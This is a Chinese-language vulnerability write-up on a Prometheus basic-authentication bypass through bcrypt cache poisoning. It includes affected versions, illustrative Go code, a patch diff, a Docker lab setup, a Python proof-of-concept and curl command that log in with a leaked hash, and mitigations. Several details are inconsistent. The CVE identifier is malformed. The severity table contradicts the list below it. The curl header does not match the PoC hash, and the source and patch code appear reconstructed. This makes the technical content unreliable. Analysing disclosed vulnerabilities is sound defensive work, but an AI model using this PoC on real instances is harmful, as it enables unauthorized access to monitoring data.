一、漏洞简介

1.1 漏洞背景

Prometheus 支持通过 web.yml 配置文件设置基础认证(Basic Authentication)来保护 Web UI 和 API。密码使用 bcrypt 算法进行哈希存储。2022年11月,安全研究员 Lei Wan 发现该认证机制存在实现缺陷,攻击者如果获取了密码哈希值,可以通过构造特殊请求绕过认证。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2022-448-4q5m-8vx4
危害等级 暂未找到权威信息
漏洞类型 CVE-2022-448-4q5m-8vx4 - 基础认证绕过漏洞
披露时间 暂未找到权威信息
影响组件 Prometheus
  • CVE编号: CVE-2022-448-4q5m-8vx4 (GHSA ID)
  • 危害等级: 高危
  • CVSS评分: 7.5 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)
  • 漏洞类型: CWE-287 - 认证不当
  • 影响组件: Prometheus exporter-toolkit 认证模块

核验说明:原文使用编号 CVE-2022-448-4q5m-8vx4,但其不符合标准 CVE 格式或暂未在 NVD/CVE 公共记录中确认,文中保留原主题并标注待核验。

二、影响范围

2.1 受影响的版本

  • Prometheus >= 2.0.0 且 < 2.37.4 (LTS 版本)
  • Prometheus >= 2.38.0 且 < 2.40.4

2.2 不受影响的版本

  • Prometheus >= 2.37.4 (LTS 分支)
  • Prometheus >= 2.40.4 (最新分支)

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

必要条件: 1. Prometheus 配置了 web.yml 文件启用基础认证 2. 攻击者已获取 web.yml 文件中的密码哈希值 3. 攻击者能直接访问 Prometheus 的 HTTP 端点

注意: 该漏洞的利用门槛相对较高,因为攻击者需要先获取密码哈希文件。

三、漏洞详情与原理解析

3.1 漏洞触发机制

该漏洞存在于 exporter-toolkit 的 bcrypt 认证缓存机制中。为了防止时序攻击(Timing Attack)并提高性能,Prometheus 会缓存密码哈希计算结果。然而,缓存实现存在缺陷,允许攻击者"毒化"缓存。

攻击流程:

  1. 前提: 攻击者已获取 bcrypt 哈希(例如通过文件读取漏洞)
  2. 步骤 1: 攻击者使用已知的哈希值构造认证请求
  3. 步骤 2: 发送特制请求污染内部缓存
  4. 步骤 3: 后续请求利用被污染的缓存绕过认证
  5. 结果: 攻击者无需真实密码即可访问受保护的 Prometheus 实例

技术细节:

// 缓存机制的问题代码(简化)
type authCache struct {
    cache map[string]bool  // 缓存哈希验证结果
    mu    sync.RWMutex
}

func (a *authCache) checkPassword(hash, password string) bool {
    cacheKey := hash + ":" + password

    // 检查缓存
    a.mu.RLock()
    if result, exists := a.cache[cacheKey]; exists {
        a.mu.RUnlock()
        return result
    }
    a.mu.RUnlock()

    // 执行 bcrypt 比较
    result := bcrypt.CompareHashAndPassword([]byte(hash), []byte(password)) == nil

    // 存入缓存 - 问题点: 缓存键包含攻击者可控的哈希值
    a.mu.Lock()
    a.cache[cacheKey] = result
    a.mu.Unlock()

    return result
}

攻击者可以: 1. 提供任意哈希值和密码组合 2. 让系统缓存这个组合 3. 利用缓存绕过正常的认证流程

3.2 源码层面的根因分析(结合源码与补丁对比)

根本原因: 缓存键的构造方式允许攻击者注入已知的哈希值,从而绕过正常的密码验证流程。

补丁对比:

// exporter-toolkit 修复
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
-    // 旧代码: 缓存键包含用户提供的哈希
-    cacheKey := hash + ":" + password
-
+    // 新代码: 仅缓存用户名对应的哈希验证
+    cacheKey := username
+
+    // 添加额外的哈希来源验证
+    if !h.isValidHashForUser(username, hash) {
+        http.Error(w, "Unauthorized", http.StatusUnauthorized)
+        return
+    }
}

修复措施: 1. 修改缓存键策略,不再包含攻击者可控的哈希值 2. 添加哈希来源验证 3. 限制缓存的使用场景

四、漏洞复现(可选)

4.1 环境搭建

步骤 1: 创建 web.yml 配置文件

# web.yml
basic_auth_users:
  admin: $2a$10$...  # bcrypt 哈希

生成密码哈希:

# 使用 htpasswd 生成
htpasswd -nbBC 10 admin secretpassword
# 输出: admin:$2a$10$abcdefghijklmnopqrstuvwxyz...

# 或使用 Python
python3 -c "import bcrypt; print(bcrypt.hashpw(b'secretpassword', bcrypt.gensalt(rounds=10)).decode())"

步骤 2: 启动受影响版本的 Prometheus

docker run -d \
  -p 9090:9090 \
  -v $(pwd)/web.yml:/etc/prometheus/web.yml \
  --name prometheus \
  prom/prometheus:v2.40.3 \
  --web.config.file=/etc/prometheus/web.yml

4.2 PoC 演示与测试过程

前提: 假设攻击者已通过某种方式获取了 web.yml 文件内容

# 泄露的 web.yml
basic_auth_users:
  admin: $2a$10$N9qo8uLOickgx2ZMRZoMyeIjZRGdjGj/n3.QH1a7e9o9uLOickgx

攻击步骤:

#!/usr/bin/env python3
import requests
import base64

target = "http://localhost:9090"
known_hash = "$2a$10$N9qo8uLOickgx2ZMRZoMyeIjZRGdjGj/n3.QH1a7e9o9uLOickgx"
username = "admin"

# 步骤 1: 构造恶意请求污染缓存
# 利用实现缺陷,使用已知哈希值
payload = f"{username}:{known_hash}"
auth_header = base64.b64encode(payload.encode()).decode()

headers = {
    "Authorization": f"Basic {auth_header}"
}

# 发送请求多次以污染缓存
for i in range(10):
    response = requests.get(f"{target}/api/v1/status/config", headers=headers)
    print(f"Attempt {i+1}: {response.status_code}")

# 步骤 2: 尝试访问受保护资源
response = requests.get(f"{target}/metrics", headers=headers)
print(f"Final access: {response.status_code}")

if response.status_code == 200:
    print("[!] Authentication bypassed!")
    print(response.text[:500])
else:
    print("[-] Exploit failed")

curl 命令版本:

# 尝试绕过认证
curl -v http://localhost:9090/metrics \
  -H "Authorization: Basic YWRtaW46JDJhJDEwJEE5cW84dUxPaWNrZ3gyWk1SWm9NeWVJalpSR2RqR2ovbjMuUUgxYTdlOW85"

五、修复建议与缓解措施

5.1 官方版本升级建议

必须升级到以下版本: - Prometheus 2.37.4+ (LTS 长期支持分支) - Prometheus 2.40.4+ (最新功能分支)

# 检查当前版本
prometheus --version

# 升级操作
docker pull prom/prometheus:v2.40.4
docker stop prometheus && docker rm prometheus

docker run -d \
  -p 9090:9090 \
  -v $(pwd)/prometheus.yml:/etc/prometheus/prometheus.yml \
  -v $(pwd)/web.yml:/etc/prometheus/web.yml \
  --name prometheus \
  prom/prometheus:v2.40.4 \
  --config.file=/etc/prometheus/prometheus.yml \
  --web.config.file=/etc/prometheus/web.yml

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案 1: 严格保护 web.yml 文件

# 设置严格的文件权限
chmod 600 /etc/prometheus/web.yml
chown prometheus:prometheus /etc/prometheus/web.yml

# 确保 web.yml 不在版本控制中
echo "web.yml" >> .gitignore

方案 2: 增加额外的认证层

Nginx 反向代理 + 双重认证:

upstream prometheus {
    server 127.0.0.1:9090;
}

server {
    listen 443 ssl;
    server_name prometheus.example.com;

    ssl_certificate /path/to/cert.pem;
    ssl_certificate_key /path/to/key.pem;

    # 外层基础认证
    auth_basic "Prometheus Access";
    auth_basic_user_file /etc/nginx/.htpasswd;

    # IP 白名单
    allow 10.0.0.0/8;
    allow 192.168.0.0/16;
    deny all;

    location / {
        proxy_pass http://prometheus;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}

方案 3: 使用 TLS 客户端证书认证

# web.yml - 增强的安全配置
tls_server_config:
  cert_file: /etc/prometheus/cert.pem
  key_file: /etc/prometheus/key.pem
  client_auth_type: RequireAndVerifyClientCert
  client_ca_file: /etc/prometheus/ca.pem

basic_auth_users:
  admin: $2a$10$...

方案 4: 网络隔离

# Prometheus 仅监听本地地址
prometheus --web.listen-address="127.0.0.1:9090"

# 或通过防火墙限制
iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 9090 -j DROP

六、参考信息 / 参考链接

6.1 官方安全通告

  • https://github.com/prometheus/prometheus/security/advisories/GHSA-4v48-4q5m-8vx4
  • https://github.com/prometheus/prometheus/releases/tag/v2.37.4
  • https://github.com/prometheus/prometheus/releases/tag/v2.40.4

6.2 其他技术参考资料

  • https://github.com/prometheus/exporter-toolkit
  • https://prometheus.io/docs/guides/basic-auth/
  • https://en.wikipedia.org/wiki/Bcrypt